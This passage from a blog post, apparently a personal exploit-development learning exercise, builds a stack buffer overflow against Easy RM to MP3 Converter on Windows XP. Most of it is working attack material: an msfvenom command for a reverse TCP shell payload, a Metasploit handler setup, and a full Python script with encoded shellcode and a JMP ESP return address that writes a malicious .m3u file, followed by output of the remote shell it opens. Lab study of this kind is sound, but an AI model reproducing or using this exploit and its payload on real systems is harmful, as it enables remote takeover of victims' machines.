000ff7e0  38 41 66 39 41 67 30 41-67 31 41 67 32 41 67 33  8Af9Ag0Ag1Ag2Ag3
000ff7f0  41 67 34 41 67 35 41 67-36 41 67 37 41 67 38 41  Ag4Ag5Ag6Ag7Ag8A
000ff800  67 39 41 68 30 41 68 31-41 68 32 41 68 33 41 68  g9Ah0Ah1Ah2Ah3Ah
000ff810  34 41 68 35 41 68 36 41-68 37 41 68 38 41 68 39  4Ah5Ah6Ah7Ah8Ah9
000ff820  41 69 30 41 69 31 41 69-32 41 69 33 41 69 34 41  Ai0Ai1Ai2Ai3Ai4A
000ff830  69 35 41 69 36 41 69 37-41 69 38 41 69 39 41 6a  i5Ai6Ai7Ai8Ai9Aj
000ff840  30 41 6a 31 41 6a 32 41-6a 33 41 6a 34 41 6a 35  0Aj1Aj2Aj3Aj4Aj5
000ff850  41 6a 36 41 6a 37 41 6a-38 41 6a 39 41 6b 30 41  Aj6Aj7Aj8Aj9Ak0A
000ff860  6b 31 41 6b 32 41 6b 33-41 6b 34 41 6b 35 41 6b  k1Ak2Ak3Ak4Ak5Ak
000ff870  36 41 6b 37 41 6b 38 41-6b 39 41 6c 30 41 6c 31  6Ak7Ak8Ak9Al0Al1
000ff880  41 6c 32 41 6c 33 41 6c-34 41 6c 35 41 6c 36 41  Al2Al3Al4Al5Al6A
000ff890  6c 37 41 6c 38 41 6c 39-41 6d 30 41 6d 31 41 6d  l7Al8Al9Am0Am1Am
000ff8a0  32 41 6d 33 41 6d 34 41-6d 35 41 6d 36 41 6d 37  2Am3Am4Am5Am6Am7
000ff8b0  41 6d 38 41 6d 39 41 6e-30 41 6e 31 41 6e 32 41  Am8Am9An0An1An2A
000ff8c0  6e 33 41 6e 34 41 6e 35-41 6e 36 41 6e 37 41 6e  n3An4An5An6An7An
000ff8d0  38 41 6e 39 41 6f 30 41-6f 31 41 6f 32 41 6f 33  8An9Ao0Ao1Ao2Ao3
000ff8e0  41 6f 34 41 6f 35 41 6f-36 41 6f 37 41 6f 38 41  Ao4Ao5Ao6Ao7Ao8A
000ff8f0  6f 39 41 70 30 41 70 31-41 70 32 41 70 33 41 70  o9Ap0Ap1Ap2Ap3Ap
000ff900  34 41 70 35 41 70 36 41-70 37 41 70 38 41 70 39  4Ap5Ap6Ap7Ap8Ap9
000ff910  41 71 30 41 71 31 41 71-32 41 71 33 41 71 34 41  Aq0Aq1Aq2Aq3Aq4A
000ff920  71 35 41 71 36 41 71 37-41 71 38 41 71 39 41 72  q5Aq6Aq7Aq8Aq9Ar

Looks like we are good, as the entire pattern falls within the 512 bytes on the stack. At this point I believe that any shellcode less than 512 bytes should allow us to have successful exploitation. Time to test this theory.

Time for us to now progress with some real shellcode. At this point, we probably need a shell to connect to the host. Let's leverage Metasploit to get a shell.


1
2
First up, let's create our shellcode with msfvenom
msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1

Now let's setup the msf multi handler to wait for incoming connections

Setup the msfhandler to accept our incoming connection once the exploit is successful

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
msf exploit(multi/handler) > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(multi/handler) > set LHOST 10.0.0.101
LHOST => 10.0.0.101
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.0.101:4444 

Let's now modify our final code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
"""
 This code is part of me learning exploit development in a Windows Environment
 Author: Nik Alleyne
 Author Blog: http://securitynik.blogspot.com
 Date: 2018-01-10

"""

import struct

def Exploit():
 # The msfvenom output below was used to generate the shellcode used to establish the reverse_tcp shell
 # msfvenom --platform Windows --arch x86 --payload windows/shell/reverse_tcp LHOST=10.0.0.101 LPORT=4444 --smallest --encoder x86/shikata_ga_nai --bad-chars '\x00\x0A\x0D' --format c --iterations 1

 shellcode = (
"\xd9\xc0\xbd\x72\x6e\xfd\x3f\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x47\x83\xc0\x04\x31\x68\x14\x03\x68\x66\x8c\x08\xc3\x6e\xd2"
"\xf3\x3c\x6e\xb3\x7a\xd9\x5f\xf3\x19\xa9\xcf\xc3\x6a\xff\xe3"
"\xa8\x3f\x14\x70\xdc\x97\x1b\x31\x6b\xce\x12\xc2\xc0\x32\x34"
"\x40\x1b\x67\x96\x79\xd4\x7a\xd7\xbe\x09\x76\x85\x17\x45\x25"
"\x3a\x1c\x13\xf6\xb1\x6e\xb5\x7e\x25\x26\xb4\xaf\xf8\x3d\xef"
"\x6f\xfa\x92\x9b\x39\xe4\xf7\xa6\xf0\x9f\xc3\x5d\x03\x76\x1a"
"\x9d\xa8\xb7\x93\x6c\xb0\xf0\x13\x8f\xc7\x08\x60\x32\xd0\xce"
"\x1b\xe8\x55\xd5\xbb\x7b\xcd\x31\x3a\xaf\x88\xb2\x30\x04\xde"
"\x9d\x54\x9b\x33\x96\x60\x10\xb2\x79\xe1\x62\x91\x5d\xaa\x31"
"\xb8\xc4\x16\x97\xc5\x17\xf9\x48\x60\x53\x17\x9c\x19\x3e\x7f"
"\x51\x10\xc1\x7f\xfd\x23\xb2\x4d\xa2\x9f\x5c\xfd\x2b\x06\x9a"
"\x02\x06\xfe\x34\xfd\xa9\xff\x1d\x39\xfd\xaf\x35\xe8\x7e\x24"
"\xc6\x15\xab\xd1\xcc\x81\x5e\x26\xd1\x34\x37\x24\xd1\xa7\x9b"
"\xa1\x37\x97\x73\xe2\xe7\x57\x24\x42\x58\x3f\x2e\x4d\x87\x5f"
"\x51\x87\xa0\xf5\xbe\x7e\x98\x61\x26\xdb\x52\x10\xa7\xf1\x1e"
"\x12\x23\xf6\xdf\xdc\xc4\x73\xcc\x88\x24\xce\xae\x1e\x3a\xe4"
"\xc5\x9e\xae\x03\x4c\xc9\x46\x0e\xa9\x3d\xc9\xf1\x9c\x36\xc0"
"\x67\x5f\x20\x2d\x68\x5f\xb0\x7b\xe2\x5f\xd8\xdb\x56\x0c\xfd"
"\x23\x43\x20\xae\xb1\x6c\x11\x03\x11\x05\x9f\x7a\x55\x8a\x60"
"\xa9\x67\xf6\xb6\x97\x1d\x16\x0b")

 
 # Assigning the crash file to a variable
 crash_file = 'EasryRM_Crash.m3u'

 # temporary pattern and ultimate value to write to file which the client will read
 # the value '\xe1\xbc\x08\x76' is actually performing a jmp to esp register where the shellcode resides
 tmp_pattern = '\x41' * 35073 + '\x42\x42\x42\x42' +  '\xe1\xbc\x08\x76' '\x90' * 30 + shellcode + '\x90' * 40

 # create the file in write mode
 fp = open(crash_file, 'wb')

 # write the data to the files
 fp.write(tmp_pattern)

 #Close the file
 fp.close()

 # just print that the file has been created
 print('Created file {!s}'.format(crash_file))


if __name__ == '__main__':
 Exploit()

We then execute the code to generate the file.

The file when then fed to Easy RM results in ....

.... BOOOOOOMMMMMMM!!!!

1
2
3
4
5
6
7
8
9
[*] Started reverse TCP handler on 10.0.0.101:4444 
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.0.0.50
[*] Command shell session 1 opened (10.0.0.101:4444 -> 10.0.0.50:1031) at 2018-01-11 01:37:14 -0500

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Easy RM to MP3 Converter>

As we can see from above, the system was exploited and a session was established.

Looking below we can see the network connection is "ESTABLISHED" between hosts 10.0.0.50:1031 and 10.0.0.101:4444

1
2
3
4
5
6
7
8
Active Connections

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       1052
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    10.0.0.50:139          0.0.0.0:0              LISTENING       4
  TCP    10.0.0.50:1031         10.0.0.101:4444        ESTABLISHED     1576
  TCP    127.0.0.1:1026         0.0.0.0:0              LISTENING       1960

At this point, I believe it is good to go. I've learned what I wanted to from this post.

References:
https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/
https://www.offensive-security.com/metasploit-unleashed/Msfvenom/
https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

No comments:

Post a Comment